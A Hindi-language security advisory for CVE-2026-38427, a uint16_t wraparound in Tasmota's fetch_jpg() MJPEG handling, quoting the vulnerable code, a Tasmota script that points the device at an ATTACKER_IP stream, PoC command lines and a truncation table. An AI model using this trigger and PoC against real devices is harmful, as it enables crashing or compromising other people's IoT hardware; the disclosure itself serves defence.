
CVE-2026-38427 — Tasmota fetch_jpg() uint16_t में इंटीजर रैपअराउंड → हीप बफर ओवरफ्लो (Tasmota <= 15.3.0.3)
CVE: CVE-2026-38427
गंभीरता: गंभीर (CVSS 9.8)
उत्पाद: Arendst Tasmota
प्रभावित संस्करण: <= 15.3.0.3
फ़ाइल: tasmota/tasmota_xdrv_driver/xdrv_10_scripter.ino
फ़ंक्शन: fetch_jpg() — केस 2 (MJPEG फ्रेम फ़ेच)
लेखक: Saidakbarxon Maxsudxonov
प्रकटीकरण: ज़िम्मेदाराना — प्रकाशन से पहले Tasmota को रिपोर्ट किया गया
Tasmota के स्क्रिप्टर ड्राइवर के fetch_jpg() फ़ंक्शन में एक uint16_t इंटीजर रैपअराउंड भेद्यता मौजूद है। जब कोई Tasmota डिवाइस किसी हमलावर-नियंत्रित सर्वर से MJPEG फ्रेम फ़ेच करता है, तो Content-Length हेडर मान atoi() के माध्यम से एक uint16_t वेरिएबल में पढ़ा जाता है। 65535 से अधिक मान चुपचाप रैप हो जाते हैं (उदाहरण के लिए, 65537 → 1), जिससे बहुत छोटा हीप बफर आवंटित हो जाता है। डिवाइस तब स्ट्रीम से केवल रैप किए गए बाइट्स की संख्या पढ़ता है, शेष को स्ट्रीम बफर में छोड़ देता है, जिससे हीप/स्ट्रीम स्थिति दूषित हो जाती है और क्रैश (DoS) या संभावित रिमोट कोड निष्पादन होता है।
// tasmota/tasmota_xdrv_driver/xdrv_10_scripter.ino
// Case 2: fetch next MJPEG frame
char inbuff[64];
stream.readBytesUntil('\n', inbuff, sizeof(inbuff)); // reads "Content-Length: 70000"
char *cp = strchr(inbuff, ':');
uint16_t size = 0;
if (cp) {
size = atoi(cp + 1); // atoi() returns int 70000
// IMPLICIT TRUNCATION: uint16_t = 70000 & 0xFFFF = 4464
}
uint8_t *buff = (uint8_t *)special_malloc(size); // malloc(4464) — too small!
if (buff) {
stream.readBytes(buff, size); // reads only 4464 bytes
// 65536 bytes remain in stream → corruption
}
जो हमलावर किसी Tasmota डिवाइस को अपने HTTP सर्वर से कनेक्ट करवा सकता है (किसी दुर्भावनापूर्ण Tasmota स्क्रिप्ट या MITM के माध्यम से), वह 65535 से अधिक Content-Length मान वाले MJPEG फ्रेम भेज सकता है। डिवाइस निम्न कार्य करेगा:
Tasmota स्क्रिप्ट के माध्यम से ट्रिगर:
>D
>B
fetchjp(ATTACKER_IP:PORT/stream,0,0,1)
>1
=fetchjp(2,0,0,1)
PoC एक नकली MJPEG HTTP सर्वर चलाता है जो दुर्भावनापूर्ण Content-Length मान वाले फ्रेम भेजता है:
python3 CVE-2026-38427_poc.py --port 8889 --cl 65537
python3 CVE-2026-38427_poc.py --port 8889 --cl 131072
पूर्ण कार्यान्वयन के लिए CVE-2026-38427_poc.py देखें।
| Content-Length (हेडर) | uint16_t मान | आवंटित बफर | अपठित बाइट्स |
|---|
| 65536 | 0 | 0 (स्किप्ड) | 65536 |
| 65537 | 1 | 1 बाइट | 65536 |
| 70000 | 4464 | 4464 बाइट्स | 65536 |
| 131072 | 0 | 0 (स्किप्ड) | 131072 |